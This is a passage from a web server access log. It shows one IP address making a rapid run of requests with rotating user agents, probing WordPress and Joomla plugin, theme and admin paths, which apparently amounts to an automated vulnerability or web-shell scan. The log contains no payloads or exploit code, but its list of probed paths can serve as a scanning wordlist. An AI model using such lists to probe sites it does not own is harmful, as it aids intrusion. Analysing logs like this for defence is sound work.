"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:16 +0300] "GET /wp-content/plugins/olympus-google-fonts/assets/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:17 +0300] "GET /wp-includes/css/dist/nux/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 98.159.43.135 - - [21/Feb/2026:16:43:17 +0300] "GET /wp-content/themes/aahana/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:17 +0300] "GET /wp-includes/js/tinymce/plugins/lists/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:17 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:17 +0300] "GET /cn/wp-content/themes/twentytwentyone/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:18 +0300] "GET /wp-content/plugins/boldgrid-backup-premium/vendor/aws/aws-sdk-php/src/data/elasticmapreduce/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 98.159.43.135 - - [21/Feb/2026:16:43:18 +0300] "GET /wp-content/themes/evita/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 98.159.43.135 - - [21/Feb/2026:16:43:18 +0300] "GET /site/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:43:18 +0300] "GET /wp-includes/sitemaps/wp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:19 +0300] "GET /cgi-bin/cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:19 +0300] "GET /wp-content/ID3/img/img/block/wp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:43:19 +0300] "GET /ccx/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:19 +0300] "GET /themes/zMousse/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:19 +0300] "GET /wp-includes/theme-compat/wp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:20 +0300] "GET /wp-includes/SimplePie/Decode/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:20 +0300] "GET /ludes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:20 +0300] "GET /r/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:20 +0300] "GET /wordpress/wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 98.159.43.135 - - [21/Feb/2026:16:43:21 +0300] "GET /bk/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:21 +0300] "GET /wordpress/update/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:21 +0300] "GET /old/update/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:21 +0300] "GET /blog/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:22 +0300] "GET /modules/mod_ariimageslidersa/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:43:22 +0300] "GET /wp-content/plugins/background-image-cropper/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:22 +0300] "GET /templates/beez3/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:22 +0300] "GET /bootstrap/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:43:22 +0300] "GET /wp-content/plugins/ienroku/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:22 +0300] "GET /wp-content/plugins/xobsqxl/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:23 +0300] "GET /wp-content/plugins/achdxhv/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:23 +0300] "GET /verificacion/templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:23 +0300] "GET /sad/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 98.159.43.135 - - [21/Feb/2026:16:43:23 +0300] "GET /wp-includes/ixr/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:23 +0300] "GET /wp-content/plugins/seox/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 98.159.43.135 - - [21/Feb/2026:16:43:24 +0300] "GET /cache/h/a/h/e/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:24 +0300] "GET /wp-content/plugins/azra-tn/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:43:24 +0300] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 98.159.43.135 - - [21/Feb/2026:16:43:24 +0300] "GET /wp-content/plugins/3asba/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:43:25 +0300] "GET /wp-content/uploads/gravity_forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 98.159.43.135 - - [21/Feb/2026:16:43:25 +0300] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:25 +0300] "GET /update/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:25 +0300] "GET /wordpress/wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:43:25 +0300] "GET /wp-content/plugins/email-subscribers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:26 +0300] "GET /wp-content/plugins/ultimate-addons-for-gutenberg/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:26 +0300] "GET /wp-content/plugins/litespeed-cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:43:26 +0300] "GET /acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:26 +0300] "GET /cgi_bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:43:26 +0300] "GET /wp-content/plugins/exe/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:27 +0300] "GET /user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 98.159.43.135 - - [21/Feb/2026:16:43:27 +0300] "GET /moodle/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:27 +0300] "GET /controllers/wizard/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 98.159.43.135 - - [21/Feb/2026:16:43:27 +0300] "GET /proyectoweb/modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:28 +0300] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 98.159.43.135 - - [21/Feb/2026:16:43:28 +0300] "GET /wp-content/themes/hideo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 98.159.43.135 - - [21/Feb/2026:16:43:28 +0300] "GET /wp-content/plugins/wp-catcher/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:28 +0300] "GET /portal/modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:43:29 +0300] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:29 +0300] "GET /wp-content/plugins/gizitib/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:43:29 +0300] "GET /wp-content/plugins/ioptimization/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 98.159.43.135 - - [21/Feb/2026:16:43:29 +0300] "GET /extracte_wordprees/dirfunc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:29 +0300] "GET /wp-content/plugins/rex/l/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:30 +0300] "GET /rex/l/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 98.159.43.135 - - [21/Feb/2026:16:43:30 +0300] "GET /l/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 98.159.43.135 - - [21/Feb/2026:16:43:30 +0300] "GET /wordpress/wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:30 +0300] "GET /wordpress/wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:31 +0300] "GET /wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:31 +0300] "GET /Files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:31 +0300] "GET /wp-content/Files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:32 +0300] "GET /wordpress/Files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:32 +0300] "GET /wp-includes/Text/Files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:43:32 +0300] "GET /wordpress/wp-content/plugins/rex/l/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:32 +0300] "GET /wordpress/wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:32 +0300] "GET /wp-includes/Files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:43:33 +0300] "GET /admin/Files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:33 +0300] "GET /static/Files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:33 +0300] "GET /www/modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:34 +0300] "GET /newtab/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:34 +0300] "GET /cgi-sys/ HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:34 +0300] "GET /includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:34 +0300] "GET /js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:34 +0300] "GET /pki-validation/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:35 +0300] "GET /block-supports/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:35 +0300] "GET /default/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:35 +0300] "GET /pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 98.159.43.135 - - [21/Feb/2026:16:43:35 +0300] "GET /css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 98.159.43.135 - - [21/Feb/2026:16:43:36 +0300] "GET /block-patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:36 +0300] "GET /themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:36 +0300] "GET /media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:36 +0300] "GET /Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 98.159.43.135 - - [21/Feb/2026:16:43:36 +0300] "GET /maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:37 +0300] "GET /Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:37 +0300] "GET /SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:37 +0300] "GET /css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:37 +0300] "GET /js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:43:38 +0300] "GET /widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 98.159.43.135 - - [21/Feb/2026:16:43:38 +0300] "GET /themes/scapeshot/includes/settings/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:38 +0300] "GET /atomic/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:38 +0300] "GET /themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:39 +0300] "GET /theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:39 +0300] "GET /aa/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:39 +0300] "GET /network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:43:39 +0300] "GET /customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:43:40 +0300] "GET /certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:43:40 +0300] "GET /blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:43:40 +0300] "GET /IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:40 +0300] "GET /test/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:40 +0300] "GET /ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:41 +0300] "GET /uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 98.159.43.135 - - [21/Feb/2026:16:43:41 +0300] "GET /rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:41 +0300] "GET /themes/bltm/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:41 +0300] "GET /themes/newstoday/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:41 +0300] "GET /css/dist/editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:43:42 +0300] "GET /css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 